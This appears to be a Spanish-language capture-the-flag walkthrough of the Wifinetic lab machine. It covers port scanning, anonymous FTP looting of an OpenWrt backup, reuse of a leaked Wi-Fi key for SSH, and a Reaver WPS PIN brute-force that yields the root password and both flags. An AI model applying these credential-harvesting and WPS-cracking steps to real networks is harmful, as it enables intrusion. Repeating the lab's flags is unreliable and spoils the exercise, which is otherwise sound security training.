Wifinetic_machine

Notas sobre la resolución de la máquina Headless

---

1) Ejecutamos un ping para verificar si esta activa la máquina víctima

```
ping -c 1 10.10.11.247

ping -c 1 10.10.11.247 -R  (Trace Route)

[*] ttl: 63 (Linux) => Linux (ttl=64) | Windows (ttl=128)
```

---

2) Escaneo rápido de Puertos con NMAP

```
└─$ `nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.8 -oG allPorts`
```

Puertos Abiertos:

> Open ports: 21, 22, 53

3*) Obtener información detallada con NMAP:

(scripts de reconocimiento y exportar en formato nmap)

locate .nse | xargs grep "categories" | grep -oP '".*?"' | tr -d '"' | sort -u (scripts de reconocimiento)

```
└─$ nmap -sCV -p22,80 10.10.11.247 -oN infoPorts


#### INFO:
```

```
> 21/tcp open  ftp        vsftpd 3.0.3
        \_ ftp-anon: Anonymous FTP login allowed (FTP code 230)


> 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol
2.0)


> 53/tcp open  tcpwrapped
        \_ Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel




-[*] Buscar versión de Ubuntu

Googlear: OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 launchpad

Url: https://launchpad.net/ubuntu/+source/openssh/1:8.2p1-4ubuntu0.9

Data: openssh (1:8.2p1-4ubuntu0.9) focal-security;  <-- * TARGET * -->



-[*] Que es tcpwrapped

TCP Wrapper es un sistema de red ACL que trabaja en terminales y que se usa
para filtrar el acceso de red a servicios de protocolos de Internet que
corren en sistemas operativos, como GNU/Linux o BSD.

Los **TCP Wrappers** son listas de control de acceso (ACL – access control
list) basadas en hosts, y utilizadas para filtrar accesos de red a los
servicios locales.

Nmap esta detectando que el puerto 53 esta protegido por tcpwrapped.
```

---

4) Acceder por FTP

```
└─$ ftp 10.10.11.247

Connected to 10.10.11.247.
220 (vsFTPd 3.0.3)
Name (10.10.11.247:sonic): Anonymous < -- * NAME * -->
```

```
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.


ftp> dir
229 Entering Extended Passive Mode (|||46440|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp          4434 Jul 31  2023 MigrateOpenWrt.txt
-rw-r--r--    1 ftp      ftp       2501210 Jul 31  2023
ProjectGreatMigration.pdf
-rw-r--r--    1 ftp      ftp         60857 Jul 31  2023 ProjectOpenWRT.pdf
-rw-r--r--    1 ftp      ftp         40960 Sep 11  2023 backup-OpenWrt-2023-
07-26.tar
-rw-r--r--    1 ftp      ftp         52946 Jul 31  2023
employees_wellness.pdf
226 Directory send OK.
```

Descargar todos los archivos

```
ftp> promp off     <-- * Desactivar modo interactivo * -->
Interactive mode off.

ftp> mget *        <-- * Descargar todo * -->
```

¿Qué es OpenWRT?

OpenWrt es un firmware basado en una distribución de Linux empotrada en dispositivos tales como routers personales. Sirve como interfaz de administración por CLI o interfaz web.

---

5) DNS Local

Asignar el dominio **wifinetic.htb** al registro DNS Local.

```
└─$ sudo nano /etc/hosts

10.10.11.247 wifinetic.htb
```

Consultas al DNS

```
└─$ dig @10.10.11.247 wifinetic.htb axfr
```

`dig` : herramienta para realizar consultas DNS.
`@10.10.11.247` : especificamos la dirección IP a consultar al servidor DNS
`wifinetic.htb` : especificamos el dominio que queremos consultar
`axfr` : intenta descargar todos los registros DNS almacenados en el server DNS del dominio especificado. Se puede obtener registros de direcciones IP, alias, correos, etc.

A la par nos podemos poner a la escuchar con tshark

```
└─$ tshark -i tun0 2>/dev/null
```

DATO: no logramos obtener información :(

---

6) Ver archivo backup

Descomprimir archivo "backup-OpenWrt-2023-07-26.tar"

```
drwxr-xr-x 2 sonic sonic 4096 Sep 11  2023 config
drwxr-xr-x 2 sonic sonic 4096 Sep 11  2023 dropbear
-rw-r--r-- 1 sonic sonic  227 Jul 26  2023 group
-rw-r--r-- 1 sonic sonic  110 Apr 27  2023 hosts
-rw-r--r-- 1 sonic sonic  183 Apr 27  2023 inittab
drwxr-xr-x 2 sonic sonic 4096 Sep 11  2023 luci-uploads
drwxr-xr-x 2 sonic sonic 4096 Sep 11  2023 nftables.d
drwxr-xr-x 3 sonic sonic 4096 Sep 11  2023 opkg
-rw-r--r-- 1 sonic sonic  420 Jul 26  2023 passwd
-rw-r--r-- 1 sonic sonic 1046 Apr 27  2023 profile
-rw-r--r-- 1 sonic sonic  132 Apr 27  2023 rc.local
-rw-r--r-- 1 sonic sonic    9 Apr 27  2023 shells
-rw-r--r-- 1 sonic sonic  475 Apr 27  2023 shinit
-rw-r--r-- 1 sonic sonic   80 Apr 27  2023 sysctl.conf
-rw-r--r-- 1 sonic sonic  745 Jul 24  2023 uhttpd.crt
-rw-r--r-- 1 sonic sonic  121 Jul 24  2023 uhttpd.key
```

Buscar Credenciales

Archivo /etc/passwd

```
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
ntp:x:123:123:ntp:/var/run/ntp:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
logd:x:514:514:logd:/var/run/logd:/bin/false
ubus:x:81:81:ubus:/var/run/ubus:/bin/false

netadmin:x:999:999::/home/netadmin:/bin/false   <-- * TARGET * -->
```

Archivos /etc/config/

```
└─$ tree
.
├── config   < -- * TARGET * -->
│   ├── dhcp
│   ├── dropbear
│   ├── firewall
│   ├── luci
│   ├── network
│   ├── rpcd
│   ├── system
│   ├── ucitrack
│   ├── uhttpd
│   └── wireless
├── dropbear
│   ├── dropbear_ed25519_host_key
│   └── dropbear_rsa_host_key
├── group
├── hosts
├── inittab
├── luci-uploads
├── nftables.d
│   ├── 10-custom-filter-chains.nft
│   └── README
├── opkg
│   └── keys
│       └── 4d017e6f1ed5d616
├── passwd   < -- * TARGET * -->
├── profile
├── rc.local
├── shells
├── shinit
```

```
├── sysctl.conf
├── uhttpd.crt
└── uhttpd.key
```

```
cat *
```

```
config login
        option username 'root'
        option password '$p$root'
        list read '*'
        list write '*'

---

config system
        option hostname 'OpenWrt'
        option ttylogin '0'
        option log_size '64'
        option urandom_seed '0'
        option zonename 'Europe/London'
        option timezone 'GMT0BST,M3.5.0/1,M10.5.0'
        option log_proto 'udp'
        option conloglevel '8'
        option cronloglevel '5'

---

config wifi-iface 'wifinet0'
        option device 'radio0'
        option mode 'ap'
        option ssid 'OpenWrt'
        option encryption 'psk'
        option key 'VeRyUniUqWiFIPasswrd1!'
        option wps_pushbutton '1'

config wifi-iface 'wifinet1'
        option device 'radio1'
        option mode 'sta'
        option network 'wwan'
        option ssid 'OpenWrt'
        option encryption 'psk'
        option key 'VeRyUniUqWiFIPasswrd1!'
```

NOTA: Encontramos un potencial usuario y contraseña:

|
|-> User: netadmin (/home/netadmin/)
|-> Passwd: VeRyUniUqWiFIPasswrd1!
|
|-> User: root
|-> Passwd: `$p$root`

---

7) Acceder por SSH y obtener 1° Flag

|-> User: netadmin (/home/netadmin/)
|-> Passwd: VeRyUniUqWiFIPasswrd1!

```
ssh netadmin@10.10.11.247
passwd: VeRyUniUqWiFIPasswrd1!

netadmin@wifinetic:~$ whoami
netadmin

netadmin@wifinetic:~$ ls -l
total 4
-rw-r----- 1 root netadmin 33 Dec  2 14:49 user.txt

netadmin@wifinetic:~$ cat user.txt
c14cb3443ba8cf7fa25a511d1a548e11
```

---

8) Verificar SO y Privilegios

Inspección:

```
└─$ whoami
netadmin


└─$ id
uid=1000(netadmin) gid=1000(netadmin) groups=1000(netadmin)


└─$ hostname -I
10.10.11.247 192.168.1.1 192.168.1.23 dead:beef::250:56ff:feb0:3d26
```

```
└─$ ls -l /home/
drwxr-xr-x 3 ayoung33    ayoung33    4096 Sep 11  2023 ayoung33
drwxr-xr-x 3 bwhite3     bwhite3     4096 Sep 11  2023 bwhite3
drwxr-xr-x 3 dmorgan99   dmorgan99   4096 Sep 11  2023 dmorgan99
drwxr-xr-x 3 dwright27   dwright27   4096 Sep 11  2023 dwright27
drwxr-xr-x 3 eroberts25  eroberts25  4096 Sep 11  2023 eroberts25
drwxr-xr-x 3 jallen10    jallen10    4096 Sep 11  2023 jallen10
drwxr-xr-x 3 janderson42 janderson42 4096 Sep 11  2023 janderson42
drwxr-xr-x 3 jletap77    jletap77    4096 Sep 11  2023 jletap77
drwxr-xr-x 3 kgarcia22   kgarcia22   4096 Sep 11  2023 kgarcia22
drwxr-xr-x 3 lturner56   lturner56   4096 Sep 11  2023 lturner56
drwxr-xr-x 3 mhughes12   mhughes12   4096 Sep 11  2023 mhughes12
drwxr-xr-x 3 mickhat     mickhat     4096 Sep 11  2023 mickhat
drwxr-xr-x 3 mrobinson78 mrobinson78 4096 Sep 11  2023 mrobinson78
drwxr-xr-x 3 netadmin    netadmin    4096 Sep 11  2023 netadmin
drwxr-xr-x 3 nlee61      nlee61      4096 Sep 11  2023 nlee61
drwxr-xr-x 3 owalker17   owalker17   4096 Sep 11  2023 owalker17
drwxr-xr-x 3 pharris47   pharris47   4096 Sep 11  2023 pharris47
drwxr-xr-x 3 rturner45   rturner45   4096 Sep 11  2023 rturner45
drwxr-xr-x 3 sjohnson88  sjohnson88  4096 Sep 11  2023 sjohnson88
drwxr-xr-x 3 swood93     swood93     4096 Sep 11  2023 swood93
drwxr-xr-x 3 tcarter90   tcarter90   4096 Sep 11  2023 tcarter90
drwxr-xr-x 3 tclark84    tclark84    4096 Sep 11  2023 tclark84


└─$ sudo -l
required password:


└─$ cat cat /etc/passwd | grep "bash$"
root:x:0:0:root:/root:/bin/bash
netadmin:x:1000:1000::/home/netadmin:/bin/bash
sjohnson88:x:1001:1001:Network Engineer:/home/sjohnson88:/bin/bash
janderson42:x:1002:1002:Wireless Solutions
Specialist:/home/janderson42:/bin/bash
eroberts25:x:1003:1003:Network Operations Manager:/home/eroberts25:/bin/bash
mhughes12:x:1004:1004:WiFi Security Analyst:/home/mhughes12:/bin/bash
jletap77:x:1005:1005:Customer Support Technician:/home/jletap77:/bin/bash
bwhite3:x:1006:1006:Network Architect:/home/bwhite3:/bin/bash
lturner56:x:1007:1007:WiFi Marketing Manager:/home/lturner56:/bin/bash
tcarter90:x:1008:1008:Technical Support Specialist:/home/tcarter90:/bin/bash
owalker17:x:1009:1009:Wireless Network
Administrator:/home/owalker17:/bin/bash
dmorgan99:x:1010:1010:WiFi Project Coordinator:/home/dmorgan99:/bin/bash
```

```
kgarcia22:x:1011:1011:Network Technician:/home/kgarcia22:/bin/bash
mrobinson78:x:1012:1012:WiFi Deployment
Specialist:/home/mrobinson78:/bin/bash
jallen10:x:1013:1013:Wireless Network Engineer:/home/jallen10:/bin/bash
pharris47:x:1014:1014:WiFi Solutions Architect:/home/pharris47:/bin/bash
ayoung33:x:1015:1015:Network Security Analyst:/home/ayoung33:/bin/bash
tclark84:x:1016:1016:Wireless Support Specialist:/home/tclark84:/bin/bash
nlee61:x:1017:1017:WiFi Sales Representative:/home/nlee61:/bin/bash
dwright27:x:1018:1018:Network Operations
Coordinator:/home/dwright27:/bin/bash
swood93:x:1019:1019:HR Manager:/home/swood93:/bin/bash
rturner45:x:1020:1020:Wireless Solutions
Consultant:/home/rturner45:/bin/bash
mickhat:x:1021:1021:CEO:/home/mickhat:/bin/bash


//Permisos SUID
└─$ find / -perm -4000 2>/dev/null | xargs ls -l


//Capability
└─$ getcap -r / 2>/dev/null
```

Verificar SO

```
netadmin@wifinetic:/home$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.6 LTS
Release:        20.04
Codename:       focal


netadmin@wifinetic:/home$ uname -a
Linux wifinetic 5.4.0-162-generic #179-Ubuntu SMP Mon Aug 14 08:51:31 UTC
2023 x86_64 x86_64 x86_64 GNU/Linux
```

---

9) Privilege Escalation

```
//Capability
└─$ getcap -r / 2>/dev/null
```

```
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper =
cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/reaver = cap_net_raw+ep    <--- * TARGET * -->
```

¿Qué es Reaver?

Reaver performs a brute force attack against an access point's Wi-Fi Protected Setup pin number. Once the WPS pin is found, the WPA PSK can be recovered and alternately the AP's wireless settings can be reconfigured.
Es una herramienta que permite crakear el WPS pin del AP y obtener la WPA/WPA2 passphrase.

reaver Usage Example

Use the monitor mode interface (`-i mon0`) to attack the access point (`-b E0:3F:49:6A:57:78`), displaying verbose output (`-v`):

```
root@kali:~ reaver -i wlan0mon -b E0:3F:49:6A:57:78 -v
```

Para realizar este ataque necesitamos tener privilegios ROOT. Nosotros podemos aprovechar que tenemos capabilities en el binario reaver (cap_net_raw+ep).

---

10) Analizar la red

Observamos un primer panorama de la red

```
netadmin@wifinetic:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.247  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb0:aa6e  prefixlen 64  scopeid
0x0<global>
        inet6 fe80::250:56ff:feb0:aa6e  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b0:aa:6e  txqueuelen 1000  (Ethernet)
        RX packets 1683  bytes 173974 (173.9 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 579  bytes 72479 (72.4 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

```
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 15304  bytes 918320 (918.3 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 15304  bytes 918320 (918.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

mon0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        unspec 02-00-00-00-02-00-30-3A-00-00-00-00-00-00-00-00  txqueuelen
1000  (UNSPEC)
        RX packets 66136  bytes 11720202 (11.7 MB)
        RX errors 0  dropped 66123  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


[ AQUI OBSERVAMOS QUE Wlan0 TIENE UNA PUERTA DE ENLACE/GETWAY ]
||
\/

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.1  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::ff:fe00:0  prefixlen 64  scopeid 0x20<link>
        ether 02:00:00:00:00:00  txqueuelen 1000  (Ethernet)
        RX packets 1250  bytes 134710 (134.7 KB)
        RX errors 0  dropped 313  overruns 0  frame 0
        TX packets 1642  bytes 211162 (211.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


[ AQUI OBSERVAMOS QUE Wlan1 SE CONECTA A Wlan0 ]
||
\/

wlan1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.23  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::ff:fe00:100  prefixlen 64  scopeid 0x20<link>
        ether 02:00:00:00:01:00  txqueuelen 1000  (Ethernet)
        RX packets 694  bytes 95491 (95.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1243  bytes 156080 (156.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan2: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
```

```
        ether 02:00:00:00:02:00  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

Verificamos que wlan1 (Cliente) se conecta con wlan0 (AP)
"systemctl status wpa_supplicant.service"

```
netadmin@wifinetic:~$ systemctl status wpa_supplicant.service

● wpa_supplicant.service - WPA supplicant
     Loaded: loaded (/lib/systemd/system/wpa_supplicant.service; enabled;
vendor preset: enabled)
     Active: active (running) since Tue 2024-12-03 16:31:53 UTC; 24s ago
   Main PID: 7832 (wpa_supplicant)
      Tasks: 1 (limit: 4595)
     Memory: 1.2M
     CGroup: /system.slice/wpa_supplicant.service
             └─7832 /sbin/wpa_supplicant -u -s -c /etc/wpa_supplicant.conf -
i wlan1

Dec 03 16:31:53 wifinetic systemd[1]: Starting WPA supplicant...
Dec 03 16:31:53 wifinetic wpa_supplicant[7832]: Successfully initialized
wpa_supplicant
Dec 03 16:31:53 wifinetic systemd[1]: Started WPA supplicant.


[ ACA ESTA LA CONEXIÓN de Wlan1 con Wlan0 ]
||
\/

Dec 03 16:31:57 wifinetic wpa_supplicant[7832]: wlan1: SME: Trying to
authenticate with 02:00:00:00:00:00 (SSID='OpenWrt' freq=2412 MHz)
Dec 03 16:31:57 wifinetic wpa_supplicant[7832]: wlan1: Trying to associate
with 02:00:00:00:00:00 (SSID='OpenWrt' freq=2412 MHz)
Dec 03 16:31:57 wifinetic wpa_supplicant[7832]: wlan1: Associated with
02:00:00:00:00:00
Dec 03 16:31:57 wifinetic wpa_supplicant[7832]: wlan1: CTRL-EVENT-SUBNET-
STATUS-UPDATE status=0
Dec 03 16:31:58 wifinetic wpa_supplicant[7832]: wlan1: WPA: Key negotiation
completed with 02:00:00:00:00:00 [PTK=CCMP GTK=CCMP]
Dec 03 16:31:58 wifinetic wpa_supplicant[7832]: wlan1: CTRL-EVENT-CONNECTED
- Connection to 02:00:00:00:00:00 completed [id=0 id_str=]
```

Verificamos que Wlan0 esta funcionando como AP.
"systemctl status hostapd.service"
Hostapd es un servicio/daemon para configurar AP.

```
netadmin@wifinetic:~$ systemctl status hostapd.service
● hostapd.service - Advanced IEEE 802.11 AP and IEEE 802.1X/WPA/WPA2/EAP
Authenticator
     Loaded: loaded (/lib/systemd/system/hostapd.service; enabled; vendor
preset: enabled)
     Active: active (running) since Tue 2024-12-03 16:43:12 UTC; 30s ago
    Process: 8701 ExecStart=/usr/sbin/hostapd -B -P /run/hostapd.pid -B
$DAEMON_OPTS ${DAEMON_CONF} (code=exited, status=0/SUCCESS)
   Main PID: 8715 (hostapd)
      Tasks: 1 (limit: 4595)
     Memory: 960.0K
     CGroup: /system.slice/hostapd.service
             └─8715 /usr/sbin/hostapd -B -P /run/hostapd.pid -B
/etc/hostapd/hostapd.conf


[ ACA ESTA Wlan0 HABILITADO COMO AP ]
||
\/

Dec 03 16:43:12 wifinetic hostapd[8701]: wlan0: AP-ENABLED

Dec 03 16:43:12 wifinetic systemd[1]: Started Advanced IEEE 802.11 AP and
IEEE 802.1X/WPA/WPA2/EAP Authenticator.
Dec 03 16:43:15 wifinetic hostapd[8715]: wlan0: STA 02:00:00:00:01:00 IEEE
802.11: authenticated
Dec 03 16:43:15 wifinetic hostapd[8715]: wlan0: STA 02:00:00:00:01:00 IEEE
802.11: associated (aid 1)
Dec 03 16:43:15 wifinetic hostapd[8715]: wlan0: STA 02:00:00:00:01:00
RADIUS: starting accounting session E2BC25ED790AE2D8
Dec 03 16:43:15 wifinetic hostapd[8715]: wlan0: STA 02:00:00:00:01:00 WPA:
pairwise key handshake completed (RSN)
Dec 03 16:43:21 wifinetic hostapd[8715]: wlan0: STA 02:00:00:00:01:00 IEEE
802.11: authenticated
Dec 03 16:43:21 wifinetic hostapd[8715]: wlan0: STA 02:00:00:00:01:00 IEEE
802.11: associated (aid 1)
Dec 03 16:43:22 wifinetic hostapd[8715]: wlan0: STA 02:00:00:00:01:00
RADIUS: starting accounting session 60BC1CFCBB49E0DB
Dec 03 16:43:22 wifinetic hostapd[8715]: wlan0: STA 02:00:00:00:01:00 WPA:
pairwise key handshake completed (RSN)
```

Utilizamos el comando "iw dev" para ver información de la red.
Nos encontramos con que **wlan0** es un AP y **wlan1** se conecta al AP(wlan0) y **mon0** (wlan2) esta en modo monitor (el cual lo utilizaremos para el ataque).

1. wlan0: This interface is in master mode, indicating that it is configured as the Access Point (AP). This aligns with our previous understanding based on the hostap service running on the system.
2. wlan1: This interface is in client mode, confirming that it functions as a Wi-Fi client, connecting to another wireless network. We observed the AP BSSID associated with this client
   interface earlier.
3. mon0: This interface is in monitor mode, which is commonly used for wireless network monitoring and testing purposes. It does not participate in regular client or AP activities.
4. wlan2: The presence of both wlan2 and mon0 on phy2 indicates that they are part of the same wireless card.

```
netadmin@wifinetic:~$ iw dev
phy#2
        Interface mon0
                ifindex 7
                wdev 0x200000002
                addr 02:00:00:00:02:00
                type monitor
                txpower 20.00 dBm
        Interface wlan2
                ifindex 5
                wdev 0x200000001
                addr 02:00:00:00:02:00
                type managed
                txpower 20.00 dBm
phy#1
        Unnamed/non-netdev interface
                wdev 0x10000001e
                addr 42:00:00:00:01:00
                type P2P-device
                txpower 20.00 dBm
        Interface wlan1
                ifindex 4
                wdev 0x100000001
                addr 02:00:00:00:01:00
                ssid OpenWrt
                type managed   <-- * CONECTADO AL AP* -->
                channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412
MHz
```

```
                txpower 20.00 dBm
phy#0
        Interface wlan0
                ifindex 3
                wdev 0x1
                addr 02:00:00:00:00:00
                ssid OpenWrt   <-- * AP * -->
                type AP
                channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412
MHz
                txpower 20.00 dBm
```

---

11) Ejecución de Reaver

Realizaremos el ataque con reaver utilizando la interfaz de red en modo monitor **mon0** y seleccionamos la MAC del AP objetivo (wlan0).

|-> Interfaz de red en modo monitor: **mon0**
|-> MAC address wlan0: 02:00:00:00:00:00

```
netadmin@wifinetic:~$ reaver -i mon0 -b 02:00:00:00:00:00 -v
```

Obtener PIN + Password:

```
netadmin@wifinetic:~$ reaver -i mon0 -b 02:00:00:00:00:00 -vv

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
<cheffner@tacnetsol.com>

[+] Waiting for beacon from 02:00:00:00:00:00
[+] Switching mon0 to channel 1
[+] Received beacon from 02:00:00:00:00:00
[+] Trying pin "12345670"
[+] Sending authentication request
[!] Found packet with bad FCS, skipping...
[+] Sending association request
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
```

```
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 2 seconds
[+] WPS PIN: '12345670'
[+] WPA PSK: 'WhatIsRealAnDWhAtIsNot51121!'    <-- *RESULT* -->
[+] AP SSID: 'OpenWrt'
[+] Nothing done, nothing to save.
```

Este ataque es posible cuando la interfaz de red AP tiene el WPS activo con un pin básico. Y mediante la tool aplicamos fuerza bruta con diccionario para obtener el pin y posterior la contraseña del AP.

La solución seria cambiar el PIN por defecto o sino deshabilitarlo.

---

12) 2° Flag root

```
netadmin@wifinetic:~$ su root
Password: WhatIsRealAnDWhAtIsNot51121!

root@wifinetic:/home/netadmin-$ cat /root/root.txt
af52e90bfe8ea6b3f92dd44e122f75f4
```